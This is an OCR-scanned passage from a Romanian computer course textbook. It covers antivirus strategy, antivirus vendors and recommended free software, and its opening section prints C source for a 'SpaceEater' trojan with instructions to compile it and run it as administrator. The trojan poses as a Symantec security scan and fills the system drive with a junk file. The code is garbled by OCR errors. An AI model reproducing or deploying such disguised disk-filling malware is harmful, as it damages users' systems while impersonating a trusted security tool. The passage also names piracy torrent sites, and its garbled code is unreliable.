observa nimic dubios care sa 1l atentioneze de faptul ca masina lui / ei este infectata.

11.2 Virusi. Exemplu de TROJAN cu cod sursa deschis.

Exemplu de virus Trojan elaborat in limbajul C

#include<stdio.h>

#include<conio.h>

finclude<dos.h>

#include<stdlib.h>

FILE *a,*t,*b;

int r,status,vir count;

double 1i;

char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace (void);
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void findroot (void);
void showstatus (void) ;
void draw (void) ;

void accept (void);

void main () {
draw () ;
accept () ;
textcolor (WHITE) ;
draw () ;
gotoxy (12,8);
cputs ("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs ("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy (12,8);
delline();
findroot () ;

void accept () {

textcolor (LIGHTRED) ;

gotoxy(1,8);

cputs ("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT
WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE
TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE
\"spceshot.dl1\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE
PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if ((choice=getch()) !=13)
exit (0);

void draw () {
clrscr();
textcolor (WHITE) ;
gotoxy(12,2);

CputS ("********************************************************") ;

gotoxy(12,6);

Cputs ("********************************************************") ;
gotoxy (12, 3);

cputs ("*\n\b*\n\b*\n\b") ;

gotoxy(67,3);

cputs ("*\n\b*\n\b*\n\b") ;

gotoxy(14,4);

cputs ("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");

void findroot () {
t=fopen ("C:\\windows\\explorer.exe","rb") ;
if (t!=NULL) {
fclose (t);
textcolor (WHITE) ;
a=fopen ("C:\\windows\\system32\\spceshot.d1l1l","rb");
if (a!=NULL) {
textcolor (LIGHTRED) ;
gotoxy(12,8);
cputs ("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch () ;
exit (1) ;
}
b=fopen ("C:\\windows\\system32\\spceshot.dll", "wb+") ;
if (b!=NULL) {
showstatus () ;
eatspace () ;
}
}

t=fopen ("D:\\windows\\explorer.exe","rb") ;
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void

if (t!=NULL) {
fclose(t);
a=fopen ("D:\\windows\\system32\\spceshot.d11l","rb") ;
if (a!=NULL) {
textcolor (LIGHTRED) ;
gotoxy (12,8);

cputs ("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");

getch();
exit (1) ;
}
b=fopen ("D:\\windows\\system32\\spceshot.dll", "wb+") ;
if (b!=NULL) {
showstatus () ;
eatspace () ;
}
}
t=fopen ("E:\\windows\\explorer.exe","rb") ;
if (t!=NULL) {
fclose(t);
a=fopen ("E:\\windows\\system32\\spceshot.dll", "rb") ;
if (a!=NULL) {
textcolor (LIGHTRED) ;
gotoxy(12,8);

cputs ("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");

getch();
exit (1) ;
}
b=fopen ("E:\\windows\\system32\\spceshot.dl1l", "wb+") ;
if (b!=NULL) {
showstatus () ;
eatspace () ;
}
}
t=fopen ("F:\\windows\\explorer.exe","rb") ;
if (t!=NULL) {
fclose(t);
a=fopen ("F:\\windows\\system32\\spceshot.d1ll", "rb") ;
if (a!=NULL) {
textcolor (LIGHTRED) ;
gotoxy(12,8);

cputs ("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");

getch();

exit (1) ;
}
b=fopen ("F:\\windows\\system32\\spceshot.dl1l", "wb+") ;
if (b!=NULL) {

showstatus () ;

eatspace () ;

}

if (t==NULL) {
textcolor (LIGHTRED) ;
gotoxy(12,8);

cputs ("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");

getch();
exit (1) ;
}
exit (1) ;

eatspace () {
textcolor (LIGHTRED) ;
gotoxy (12,16) ;

cputs ("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");

textcolor (WHITE) ;
gotoxy (12,18);
while (1) {
for(r=1;r<4;r++){
for (i=1;1i<900000; i++) {
status=fputs(ch,b);
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if (status==EOF) {
textcolor (WHITE) ;
vir count=random(120);
draw () ;
gotoxy (12,8);
cprintf ("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d
THREATS!",vir count);
gotoxy(12,10);
cprintf ("PRESS ANY KEY TO CLOSE...");
getch () ;
break;
}

}

cputs (".");

if (status==EOF) break;

}
if (status==EOF) break;
}
exit (0);
}

void showstatus () {
gotoxy(12,8);
cputs ("SCANNING THE SYSTEM FOR THREATS");
gotoxy (12,10);
cputs ("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs ("SCAN IN PROGRESS. PLEASE WAIT...");
}

IMPORTANT

1. Dupa crearea fisierului SpaceEater.c trebuie sa-1 compilati.

2. Presupun ca fisierul a fost compilat si s-a obtinut fisieru SpaceEater.exe

3. Acum este timpul s testati acest Trojan, rulati fisierul SpaceEater.exe ca administrator. Pentru
inceput va genera mesaje de avertizare, iar apoi daca veti accepta, acest trojan va inghiti tot spatiul de
pe HDD.

m CA\Borland\BCCSS\Bin\spaceEater.sxe - Y
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11.3 Antivirus. Strategia de functionalitate

Oricat de mica experientd ati avea In folosirea calculatorului, sigur ati auzit de virusi de
calculator. lar daca ati auzit de virusi, probabil ca ati auzit si de antidot, programul antivirus.
Software-ul antivirus este folosit in general pentru prevenirea si eliminarea virusilor de
computer, viermilor si cailor troieni. De asemenea, poate detecta si elimina adware, spyware si
malware.
Dr. Solomon's Anti-Virus Toolkit, AIDSTEST si AntiVir au fost lansate in 1988. La sfarsitul
lui 1990 erau disponibile 19 produse antivirus, inclusiv Norton AntiVirus si McAfee VirusScan.
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Inainte de aparitia Internetului, virusii s-au raspandit prin dischete, software-ul antivirus fiind
actualizat relativ rar.

CAT DE EFICIENT ESTE UN ANTIVIRUS?

Multi dintre noi sunt in cautarea antivirusului perfect. Pentru acestia existd topuri realizate de
revistele de specialitate in care ni se prezinta rezultatele unor teste pe care nu le intelegem si nici
nu suntem interesati de ele. Mai sunt si forumurile de discutii, unde ne incredem in opiniile unor
experti de ocazie.

Multi dintre noi cred ca daca au instalat un program antivirus, in special daca au pus méana pe
un antivirus care in mod normal ar trebui platit pentru a putea fi folosit, vor fi feriti definitiv de
malware. Vestea proasta este aceea ca lucrurile nu sunt atat de simple... Desi nu vom afirma ca
softul antivirus este inutil, eficienta acestuia, in special in fata virusilor noi este destul de scazuta.

Iatd cum stau lucrurile in privinta eficientei. Studii realizate in anul 2007 privind eficienta
softurilor antivirus au aratat ca eficienta acestora este scazuta atunci cand se confrunta cu virusi
noi. in medie, in numai 20-30% din cazuri un antivirus va detecta prezenta unui virus pentru care
nu are "amprenta" in baza de date (sursa informatiei).

DE CE ESTE EFICIENT UN VIRUS?

Eficienta unui virus depinde, in esenta, de doi factori:

% vulnerabilitatile softurilor, din ce in ce mai complexe si cu multe bug-uri (erori de
programare);

+ elementul de noutate al codului nociv.

CE ESTE UN PROGRAM ANTIVIRUS?

Un program antivirus este un program care are rolul de a scana, detecta si elimina virusii de
calculator si alte programe nocive. Pentru usurinta exprimarii, vom folosi termenul generic de
malware pentru toate aceste programe care ne afecteaza computerele, fie ele virusi, fie troieni
etc.

CUM STIE UN ANTIVIRUS CA ARE DE A FACE CU UN VIRUS?

Un antivirus foloseste, in principal, doua tehnici diferite pentru a detecta un malware:

+ Examinarea fisierelor i compararea codului examinat cu secvente de cod din baza de date a
antivirusului.

In acest caz, la depistarea unei secvente de cod a programului scanat ce se potriveste cu o
secventd din baza de date, antivirusul, in functie de setarea efectuatd de utilizator, ia masuri
in consecintd: sterge fisierul scanat, il pune in carantind, ii blocheaza executia etc. Dacd nu
gaseste in baza de date o secventd de cod care sd se potriveascd, atunci pentru antivirus,
indiferent de "intentiile" fisierului scanat, acesta nu este considerat malware.

Pentru a depasi acest inconvenient, al depasirii continue a antivirusului de un malware
mereu altul, companiile producdtoare de programe antivirus pun la dispozitia clientilor
posibilitatea actualizarii online a bazei de date cu definitii ale virusilor. Nu intotdeauna este
suficient, pentru cd de multe ori softurile nocive 1si indeplinesc obiectivele pentru care au
fost create Tnainte ca aceste companii sa reactioneze...

Daca in era de inceput a Internetului multi virusi erau creati de amatori entuziasti, astdzi sunt
dezvoltate programe malware profesioniste, platite de organizatii criminale si folosite in
scopuri diverse, de la blocarea unor retele de calculatoare pana la sdvarsirea unor
semnificative fraude financiare.

¢ Detectarea malware pe baza comportamentului programelor.

Aceasta abordare se bazeaza pe monitorizarea comportamentului softurilor ce ruleaza pe
calculator. Daca, de pilda, un program incearca sa scrie date Intr-un fisier executabil, acest
comportament este detectat si semnalat utilizatorului computerului.
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Din pacate aceastd abordare aduce cu sine o mulfime de alarme false. Din aceastd cauza
utilizatorul mai putin experimentat ori va renunta la folosirea unor programe pe baza alertarii
eronate a programului antivirus, ori se va plictisi sd tot valideze cererile programului
antivirus si va renunta la acest mod de lucru. Cele doud metode amintite sunt folosite de
majoritatea programelor antivirus.

ASADAR, PUTEM TOTUSI SA NE FERIM DE VIRUSI?

Nimeni nu va va putea garanta acest lucru... Cu toate acestea pot fi facute cateva recomandari
pentru a diminua, pe cat posibil, riscul infectarii calculatorului dumneavoastra cu virusi.

Retineti ca nu este obligatoriu sa folositi calculatorul personal in modul administrator. Unele
tipuri de virusi, dacd "functionati" in modul user, nu se vor putea insinua in computerul
dumneavoastra.

Evitati pe cat posibil sa descarcati programe de pe site-uri ce nu va oferd nici o garantie
privind "sanatatea" datelor furnizate.

Daci folositi trackere ori site-uri destinate descarcarii de softuri piratate, evitati sd fifi primii
care descarcati materialele prezente pe aceste site-uri. Asteptati pand apar primele comentarii
referitoare la aceste materiale.

Activati optiunea de actualizare automata a antivirusului dumneavoastra. Uneori cateva ore
intarziere poate insemna infectarea computerului.

Doua lucruri probabil ca nu se vor schimba prea curand: numarul mare de vulnerabilitati al
aplicatiilor de calculator si incapacitatea programelor antivirus de a oferi protectic 100%
impotriva virusilor. Nu uitati ca si dumneavoastrd sunteti parte din acest joc si ca sunteti pionul
principal al politicii de securitate a calculatorului dumneavoastra.

Exemple de softuri antivirus

Virusii pot fi gasiti si eliminati din sistem cu ajutorul mai multor metode. Unii dintre acestia nu
sunt considerati agresivi, deci puteti incerca sd ii eliminati cu ajutorul metodei de eliminare
manuala. Totusi, daca doriti sa fiti sigur ca fiecare component ce apartine amenintarii cibernetice
a fost eliminat, trebuie sa instalati un anti-spyware de incredere.

Va recomandam sa utilizati aceste programe care sunt capabile sd elimine fiecare virus din
sistemul PC-ului infectat: Reimage, Plumbytes Anti-Malware. Atentie la faptul ca uneori chiar
si cel mai reputabil anti-spyware poate esua in a va ajuta sa eliminati virusul, deoarece hackerii
continud §i 1si actualizeze amenintarile. Este posibil ca dezvoltatorii de anti-spyware sd nu
observe la timp aceste modificari, deci anti-spywareul creat de ei poate esua in a descoperi toate
fisierele infectate. Dacd aveti de a face chiar acum cu asa ceva, nu e nicio problema. In acest caz,
ar trebui sd va adresati la un inginer software IT.

O parte din aceste produse contin pe langa protectia antivirus si alte module precum
antispam, firewall, control parental si lista poate continua.
< Ad-Aware Free Antivirus+/Ad-Aware Personal Security/Ad-Aware Pro Security/Ad-Aware

Total Security, dezvoltate de Lavasoft (Germania)
< AhnLab V3 Internet Security, dezvoltat de AhnLab (Coreea de Sud)
< Avast Antivirus/Avast Internet Security/Avast Premier/Avast Pro Antivirus, dezvoltate

de Avast (Cehia)
< Avetix Pro, dezvoltat de Avetix (Italia)
< AVG Antivirus/AVG PC TuneUp/AVG Internet Security, dezvoltate de AVG Tehnologies

(Cehia)
< Avira Antivirus/Avira Internet Security, dezvoltate de Avira (Germania)
< BitDefender Antivirus Plus/BitDefender Internet Security/BitDefender Total Security,
dezvoltate de Bitdefender (Ro)

BullGuard Antivirus/BullGuard Internet Security, dezvoltate de BullGuard (UK)
CA Anti-Virus, dezvoltat de CA Technologies (SUA)
ClamWin, dezvoltat de ClamWin (Australia)
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Comodo Antivirus/Comodo Antivirus Advanced/Comodo Internet Security, dezvoltate
de Comodo Group (SUA)

Dr.Web Antivirus/Dr.Web Security Space, dezvoltate de Dr. Web (Rusia)

ESET NOD 32 Antivirus/ESET Smart Security, dezvoltate de ESET (Slovacia)

FortiClient PC, dezvoltat de FortiClient

F-Prot Antivirus, dezvoltat de FRISK Software International (Islanda)

F-Secure Antivirus/F-Secure Internet Security, dezvoltate de F-Secure (Finlanda)

G Data Antivirus, dezvoltat de G Data Software (Germania)

Immunet, dezvoltat de Cisco Sistems (SUA)

Kaspersky Anti-Virus/Kaspersky Internet Security, dezvoltate de Kaspersky Lab (Rusia)
McAfee Antivirus/McAfee Internet Security, dezvoltate de McAfee [Intel Security] (SUA)
Microsoft Security Essentials, dezvoltat de Microsoft (SUA)

Norman Antivirus, dezvoltat de Norman Safeground

Norton AntiVirus/Norton Antivirus Security, dezvoltate de Symantec (SUA)

nProtect Antivirus, dezvoltat de INCA Internet

OutPost AntiVirus Pro/OutPost Security Suite, dezvoltate de Agnitum (Rusia)

Panda Antivirus Pro/Panda Internet Antivirus, dezvoltate de Panda Security (Spania)

PC Tools Internet Security, dezvoltat de PC Tools

PSafe Total, dezvoltat de PSafe, (Brazilia)

Qihoo 360 Total Security, dezvoltat de Qihoo 360 (China)

Rising Antivirus, dezvoltat de Rising AntiVirus (China)

SecureAnywhere  AntiVirus/ SecureAnywhere Internet Security Plus, dezvoltate
de Webroot (SUA)

Sophos Antivirus/Sophos EndUser Protection, dezvoltate de Sophos (UK)

Trend Micro Antivirus+ Security, Trend Micro Internet Security, Trend Micro Maximum
Security, Trend Micro Premium Security, Trend Micro Antivirus for Mac, dezvoltate
de Trend Micro (Japonia)

UnThreat Internet Security, dezvoltat de Scandium Security (Cipru)

Vba32 Antivirus, dezvoltat de VirusBlokAda (Belarus)

Vipre Antivirus/Vipre Internet Security, dezvoltate de Sunbelt Software (SUA)

VirusBarrier, dezvoltat de Intego (Franta)

VirusBuster, dezvoltat de VirusBuster

Windows Live OneCare, dezvoltat de Microsoft (SUA)

Zemana Antilogger and Antimalware, dezvoltat de Zemana (Turcia)
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12. Instalarea aplicatilor frecvent utilizate. Pachete de programe

frecvent utilizate.

Obiective:

1. Specificarea pachetelor de programe frecvent utilizate;

2. insu@irea procedurilor de instalare, dezinstalare, administrare, actualizare si configurare a
aplicatiilor frecvent utilizate;

12.1 Programe frecvent utilizate pe un PC.

Toate programele din aceasta lista sunt considerate cele mai bune din categoria lor, se pot
descarca gratis si nu au limite de folosire. Va voi prezenta mai multe alternative pentru fiecare
categorie, apoi alegeti care software se potriveste mai bine cerintelor voastre. Ca sa descarcati
programele trebuie sa cautati pe site-ul oficial de unde puteti descarca programul dorit.

Antivirus

« Comodo Internet Security: este o suitda de securitate compusa dintr-un antivirus, firewall si
un instrument de protectie a datelor si a identitatii. Are nevoie de putine resurse de calculator,
deci este potrivit si pentru calculatoare mai vechi. Motorul de scanare este rapid si puternic,
iar actualizarile sunt foarte frecvente. Pentru cine doreste o protectie totala si in timp real a
calculatorului este programul ideal. Se poate folosi si in scopuri comerciale, nu doar
personale.

s AVAST! Home Edition Free: este un antivirus gratuit doar pentru uz personal, ofera
protectie in timp real si actualizarile sunt foarte frecvente. In ultimele versiuni Avast! ofera si
unele optiuni pentru imbunatatirea prestatiilor sistemului de operare.

%+ Avira Free: si acest antivirus este gratuit doar pentru uz personal. Actualizat foarte des, nu
ingreuneaza deloc calculatorul in timpul scanarilor. Este foarte simplu de instalat si de
configurat. Din pacate versiunea free are cateva optiuni lipsa fata de versiunea platita, nu are
firewall si nici optiuni avansate.

Browser internet

% Firefox: este un browser gratuit foarte bun, open source, foarte rapid si care se poate
personaliza cu multe skins si extensii puse la dispozitie gratuit de 0 mare comunitate de
voluntari. In ultimul timp a devenit tot mai folosit, devenind astfel al treilea browser ca si
popularitate fiind folosit de circa 25% de utilizatori in toata lumea.

%+ Google Chrome: este un browser creat de catre Google si ca aproape tot ce a creat Google
pana acum este sinonim de calitate. De curand Chrome a adaugat posibilitatea personalizarii
cu suplimente (add-on), dar numarul lor este net inferior a celor puse la dispozitie de Firefox.
Din octombrie 2013 este browser-ul cel mai folosit din lume.

¢ Opera: este browser-ul cel mai rapid. Are un numar mai mic de utilizatori decat Chrome sau
Firefox, dar nu are nimic de invidiat concurentilor sai si este intodeauna in prima linie in ceea
ce priveste tehnologia. Este browserul care a inventat (si inca inventeaza) cel mai mult, apoi
toate ideile noi sunt copiate de catre celelalte browsere dupa cateva saptamani.

Player video

+«» Daum PotPlayer: este urmasul player-ului KMPlayer, autorul dupa ce a cedat drepturile de
autor celor de la PandoraTV, a creat Daum PotPlayer, un player video gratuit foarte
asemenator lui KMPIlayer si cu optiuni aproape identice. Este actualizat foarte frecvent, nu
instaleaza adware si nu contine publicitate. PotPlayer este capabil sa ruleze un mare numar
de formate video (de exemplu: DVD, AVI, MKV, WMV, QuickTime), iar codec-urile sunt
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incorporate in software, astfel nu trebuie sa cautati si sa instalati alte codec-uri care pot crea
probleme sistemului operativ. Permite sincronizarea audio/video in timp real, astfel daca
aveti un video cu audio in intarziere sau anticipat puteti sa rezolvati problema cu doar cateva
click-uri.

VLC media player (VideoLAN): player open source, ca si PotPlayer nu are nevoie de
codecuri, acestea fiind integrate in program. Suporta aproape toate formatele video (DVD,
DIVX, XVID, AVI, MKV, MPEG-4, etc.) si foarte multe formate de titrari (srt, vobsub,
subrip, ssa, etc.). Cu VLC se poate vizona si fisiere video partiale, adica cele care inca nu
sunt descarcate in totalitate. Aceasta optiune este foarte utila daca doriti sa vedeti ce
descarcati cu eMule sau uTorrent, fara sa mai asteptati terminarea descarcarii.
MediaPlayerClassic Home Cinema (MPC-HC): este un player video gratuit si open source,
disponibil in versiune instalabila si portable (nu trebuie instalat pe calculator). Si acest
software are codec-urile incorporate si este unul dintre cele mai bune playere compatibile cu
fisierele video in format MKV (incluse fisierele video in 720p si 1080p, bineinteles daca
hardware-ul va permite). O caracteristica foarte interesanta este aceea ca va permite sa
sincronizati titrarea in timp real, functia SubResync este excelenta.

Player Audio

*
L X4

Foobar 2000: este unul dintre cele mai bune playere audio pentru Windows. Interfata grafica
nu este una dintre cele mai reusite, dar suporta aproape orice format audio (inclus FLAC,
APE, MPC, OGG, etc.) fara sa trebuiasca sa descarcati vreun plug-in sau codec. Daca aveti
un album de muzica la care nu aveti titlurile la melodii, Foobar2000 se poate conecta in mod
automat la database-ul de la FreeDB si redenumeste melodiile cu titlul corect. Suporta si
fisiere CUE cu track unic.

AIMP: este playerul audio care combina cele mai bune functii de la Foobar2000 si WinAmp.
Si AIMP este compatibil cu aproape orice format audio (printre care: MP3, OGG, WMA,
AAC, WAV, APE, AC3, FLAC, etc.), suporta formatul CUE cu track unic si playlist in
diferite formate, incepand cu cel mai popular, formatul M3U.

Winamp: playerul audio cel mai faimos din toate timpurile. Este foarte bogat in skins,
interfete grafice frumoase si plug-in cu care puteti personaliza playerul in functie de nevoile
voastre. Din pacate din 21 Decembrie 2013 este abandonat, dar functioneaza perfect.

Arhivare/dezarhivare fisiere

7
°e

7zip: program open source, de mici dimensiuni, este foarte usor de folosit si permite
comprimarea sau decomprimarea unui numar mare de formate. Poate decomprima formatele
7Z, ZIP, GZIP, BZIP2, TAR, RAR, CAB, ISO, ARJ, LZH, CHM, Z, CPIO, RPM, DEB,
NSIS si poate comprima in formatele 7Z, ZIP, GZIP, BZIP2, TAR.

Bandizip: este gratuit, simplu de folosit, dar mai ales rapid atunci cand arhiveaza sau
dezarhiveaza un fisier. Ca si 7zip, Bandizip suporta un numar mare atunci cand trebuie sa
decomprime un fisier, de exemplu poate decomprima formatele RAR(partl.rar, r01), ACE,
ALZ, APK, ARJ, BH, BZ, BZ2, CAB, EGG, GZ, J2J, JAR, IMG, IPA, ISO, LHA, LZH,
LZMA, PMA, TBZ, TBZ2, TGZ, TLZ, TXZ, UDF, WAR, WIM, XZ, si Z. Cand il folositi
pentru comprimarea unui fisier suporta urmatoarele formate: Zip(z01), ZipX(zx01), TAR,
TGZ, 7Z(72.001) si EXE(e01).

PeaZip: este unul dintre cele mai bune programe de arhivare/dezarhivare gratis. Poate
decomprima aproape toate formatele cunoscute si permite comprimarea in numeroase
formate, printre care 7Z, ARC, BZ2, GZ, PAQ/LPAQ, PEA, QUAD/BALZ, TAR, UPX,
ZIP. Programul este capabil sa cripteze fisierele comprimate in formatul .PEA cu diferiti
algoritmi de criptare (cu acest format trebuie sa adaugati o parola atunci cand creati o
arhiva).
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Descarcare muzgica si filme
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Songr: daca aveti nevoie de un program de descarcat muzica, cel mai recomandat este Songr.
Gratuit, rapid si usor de folosit, cu Songr puteti sa descarcati muzica gratis de pe unele site-
uri de muzica, precum Audiodump, BeeMp3, DilanDau, 4Shared, GoEar, Mp3Realm, Mpeg-
Search, PostoPleer, SocBay, Soso, Tangoo, TinySong, Wrzuta si YouTube.

s uTorrent: este cel mai cunoscut si mai folosit client BitTorrent. Cu pTorrent puteti sa
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descacati muzica, filme, jocuri, programe si orice alt tip de fisiere, tot ce trebuie sa faceti este
sa accesati site-urile care gazduiesc fisiere .torrent sau magnet link, precum Demonoid, The
Pirate Bay, KickAss, IsoHunt, etc.

Ares: este un client P2P, care permite sa descarcati filme, muzica, programe, jocuri si
imagini. Interfata grafica este foarte intuitiva si simpla, astfel programul este foarte usor de
folosit.

Inscriptionare CD/DVD/Blu-Ray
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CDBurnerXP: este unul dintre cele mai bune programe de inscriptionare CD-uri, DVD-uri si
Blu-Ray. Interfata grafica este foarte intuitiva si pune la dispozitie un numar mare de functii
si optiuni, potrivit pentru toti utilizatorii, incepatori sau experti. Se poate folosi si in scopuri
comerciale (birou, magazin, etc.), nu doar pe calculatorul de acasa.

ImgBurn: este un program de facut CD, DVD si Blu-ray, foarte usor de folosit si care
consuma foarte putine resurse hardware, deci este foarte indicat pentru calculatoarele mai
vechi.

Ashampoo Burning Studio Free: este un alt program bun de scris CD-uri, DVD-uri si Blu-
Ray. Interfata grafica este simpla si intuitiva, cu toate functiile usor accesibile.

Modificare poze

X/
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GIMP: este un program gratuit si open source care va permite sa modificati pozele vostre sau
sa creati imagini noi pornind de la zero. Este rapid, eficient, cu multe optiuni utile si pune la
dispozitie foarte multe filtre de calitate. Din cauza numeroaselor functii, GIMP nu este prea
intuitiv la inceput, dar daca invatati sa il folositi sigur va deveni programul vostru preferat.
Photofiltre Free: caracteristica principala, care iese in evidenta imediat dupa ce incepeti sa il
folositi, este prezenta unui numar foarte mare de filtre si efecte. Este foarte intuitiv si usor de
folosit, iar consumul de resurse este foarte redus. Este programul ideal pentru incepatori, in
plus exista si in versiune portable, astfel nu deranjati sistemul de operare cu 0 noua instalare.
Photo Pos Pro: in trecut era un program contra cost, dar de putin timp a devenit gratuit.
Punand la dispozitie un numar mare de efecte speciale si filtre, Photo Pos Pro este unul dintre
cele mai bune programe de modificat poze gratis. Instrumentele puse la dispozitie sunt
numeroase si de calitate: cu Photo Pos Pro puteti sa corectati culorile, sa eliminati efectul
“ochilor rosi”, sa decupati, sa rotiti sau sa redimensionati pozele si multe altele. Merita
incercat.

Stocare fisiere online

X/
°

X/
°

Google Drive: pune la dispozitie 15 GB de spatiu gratuit (impartit cu GMail si alte servicii
Google). Google Drive se poate folosi online, cu ajutorul unui browser, fara sa instalati nimic
pe calculator sau cu ajutorul unei aplicatii, disponibila pentru Windows, Mac si Android.
Mega: ofera 50 GB de spatiu gratuit si se concentreaza asupra intimitatii utilizatorilor si a
fisierelor stocate. Toate fisierele sunt criptate pe calculator inainte de a fi stocate online si
cand doriti sa le descarcati, vor fi decriptate doar dupa ce au fost descarcate pe computer.
OneDrive: este un serviciu de stocare online care apartine companiei Microsoft. Se
integreaza perfect cu alte aplicatii Microsoft, cum ar fi Outlook si Office, ofera 15 GB de
spatiu gratuit, dar din punct de vedere a intimitatii nu este maximum, din moment ce isi
rezerva dreptul de a accesa fisierele incarcate si eventual sa le stearga daca nu sunt in
conformitate cu regulile lor.
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Backup
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Paragon Backup & Recovery Free: este compatibil cu orice versiune Windows, inclusiv 8.1,
permite backup-ul incremental si se poate executa de pe un CD au FlashDrive. Nu este foarte
rapid la crearea imaginii partitiei, dar este foarte rapid la restaurarea acesteia.

AOMEI Backupper Standard: este un program gratuit, capabil sa faca un backup de a
partitiilor sau a intregului HDD. Interfata grafica este foarte clara si intuitiva, cu toate
functiile usor accesibile. Se pot face backup-uri incrementale si diferentiale, se poate alege
daca doriti sau nu sa comprimati imaginea backup-ului sau sa sa impartiti imaginea in mai
multe parti. In plus, permite si crearea unui CD/DVD bootabil sau Flashdrive cu imaginea
backup, astfel puteti sa restaurati imaginea in cazul in care Windows nu mai porneste.
Macrium Reflect Free: chiar daca exista o versiune superioara contra cost, cu unele optiuni in
plus, Macrium Reflect Free este un bun program de backup gratuit, simplu de folosit, cu
multe functii utile, care permite sa creati o imagine de backup a unei partitii direct pe DVD.

Alte programe gratuite:
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Nitro PDF Reader: este un program gratuit care permite sa deschideti fisierele PDF.
DriverPack Solution: este un program de cautare, instalare si actualizare a driverelor.
Xmedia Recode: este unul dintre cele mai bune programe de conversie video, disponibil si in
versiune portable. Pune la dispozitie numeroase profile predefinite pentru diferite dispozitive,
cum ar fi Playstation 3, Xbox 360, iPhone, Blackberry, etc. In plus, Xmedia Recode permite
si sa taiati parti dintr-un video.

PC INSPECTOR File Recovery: este un program gratuit cu care puteti sa recuperati datele
sterse de pe HDD. Puteti sa recuperati date si de pe HDD formatate in mod rapid. Alte
programe de recuperat date sterse de pe HDD.

PC INSPECTOR Smart Recovery: acest program va permite sa recuperati datele sterse de
pe cardurile de memorie (Flash Card, Smart Media, SONY Memory Stick, Micro Drive,
Multimedia Card, Secure Digital Card si multe alte carduri). Reuseste sa recupereze poze,
video, documente si multe alte fisiere sterse in diferite formate.

12.2 Pachetul Libre Office/ Open Office/ MS Office. SGBD.

Pachete gratuite

7
°e

X/
°

LibreOffice: este o suita de programe de birou bazata pe codul de la Open Office compusa
dintr-un procesor de text (Writer), o foaie de calcul (Calc), un program de grafica vectoriala
(Draw), unul pentru formule matematice (Math), unul de prezentari (Impress) si un database
(Base). Perfect compatibil cu Microsoft Office, LibreOffice este gratuit si pentru scopuri
comerciale, deci se poate folosi la birou, magzin, etc. In acest moment este cea mai buna
alternativa gratuita la Microsoft Office.

Apache OpenOffice: a fost prima suita de programe de birou gratuita in stil Microsoft
Office. Contine toate acele aplicatii considerate importante intr-un pachet de software pentru
birou: un Word Processor, o foaie de calcul, un database, un software pentru prezentari, un
editor de diagrame si un program pentru formule matematice. Si acesta suita se poate folosi
gratuit si in scopuri comerciale nu doar personale.

SoftMaker FreeOffice: este o alta suita office gratuita, compusa dintr-un procesor de text, o
aplicatie de calcul tabelar si un program de prezentare grafica. Ca sa descarcati trebuie sa va
inregistrati cu un email valabil unde veti primi codul cu care puteti sa deblocati programul.
Pachetul care trebuie descarcat si instalat este de dimensiuni mult mai mici decat LibreOffice
sau Apache OpenOffice si este foarte inidicat pentru calculatoarele mai vechi, consumul de
resurse fiind minim.
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Microsoft Office sau MS Office este o suitd de programe de birou create de firma Microsoft
Corporation, care sunt insotite si de o aplicatie speciald suprapusa lor pentru accesarea unitara
simpla.

Aplicatiile de birou incluse in MS Office:

¢+ Microsoft Word (procesor de text) - este cel mai raspandit procesor de texte folosit la ora
actuala in lume. Se poate utiliza pentru a scrie scrisori, propuneri de afaceri, anunturi
publicitare, rapoarte de activitate, brosuri, rapoarte periodice, articole sau chiar pagini de
web, toate acestea putandu-se combina cu date de calcul, tabele si grafice din Excel,
ilustratii din Power Point sau adrese din Access.

¢+ Microsoft Excel (analiza de business si calcul tabelar) - cu acest program se pot realiza
cu usurinta calcule tabelare, de la cele mai simple pana la cele mai complexe; cu datele
introduse se pot genera grafice cu o larga varietate de formate; datele pot fi sortate,
filtrate, etc.

% Microsoft PowerPoint (program pentru prezentari grafice) - ajuta la realizarea
prezentarilor de diapozitive, obiecte transparente suprapuse si prezentari pe ecranul
calculatorului. Programul Power Point are facilitati pentru realizarea unor prezentari
dinamice, in care pot fi incluse imagini (diapozitive de 35 mm sau imagini pe monitor),
note pentru sustinerea prezentarii si programe.

¢+ Microsoft Access (program pentru baze de date) - este un program pentru baze de date
relationale care permite introducerea, vizualizarea, modificarea, stergerea si extragerea
rapoartelor. Acest program poate fi util, de exemplu, pentru salvarea listelor postale
precum si pentru stocarea unor informatii, cum ar fi numere extrase la loterie, adrese de
internet sau numere de serie ale unor carti de credit [7].

% Microsoft Outlook (agenda si client de posta electronicd) - combina facilitatile unei
agende de intalniri cu cele ale unui calendar si ale unei liste de prioritati; toate acestea pe
un singur ecran. Administrand timpul cu ajutorul acestui program, se poate planifica
proiectele si gestiona optim timpul, profitand de fiecare secunda, eliminand timpii morti.

«+ Microsoft Frontpage (editor vizual de pagini web) - este util pentru editarea paginilor de
web cu o mai mare finete a detaliilor si cu un control mai mare fata de oricare dintre
programele Microsoft.

%+ Microsoft Photo Editor (editor fotografic) - retuseaza, modifica sau editeaza imagini
grafice, de genul fotografiilor digitale sau a imaginilor grafice destinate paginilor de web.

¢ Microsoft Publisher (editor anunturi): utilizand acest program se poate proiecta rapoarte,
periodice, meniuri, brosuri, pliante, inscriptii, etc. usor si repede. Se pot realiza, de
asemenea, pagini interesante de grafica publicitara.

Bineinteles existd si oferte (pachete) de la Microsoft care cuprind numai o parte din aceste
programe.

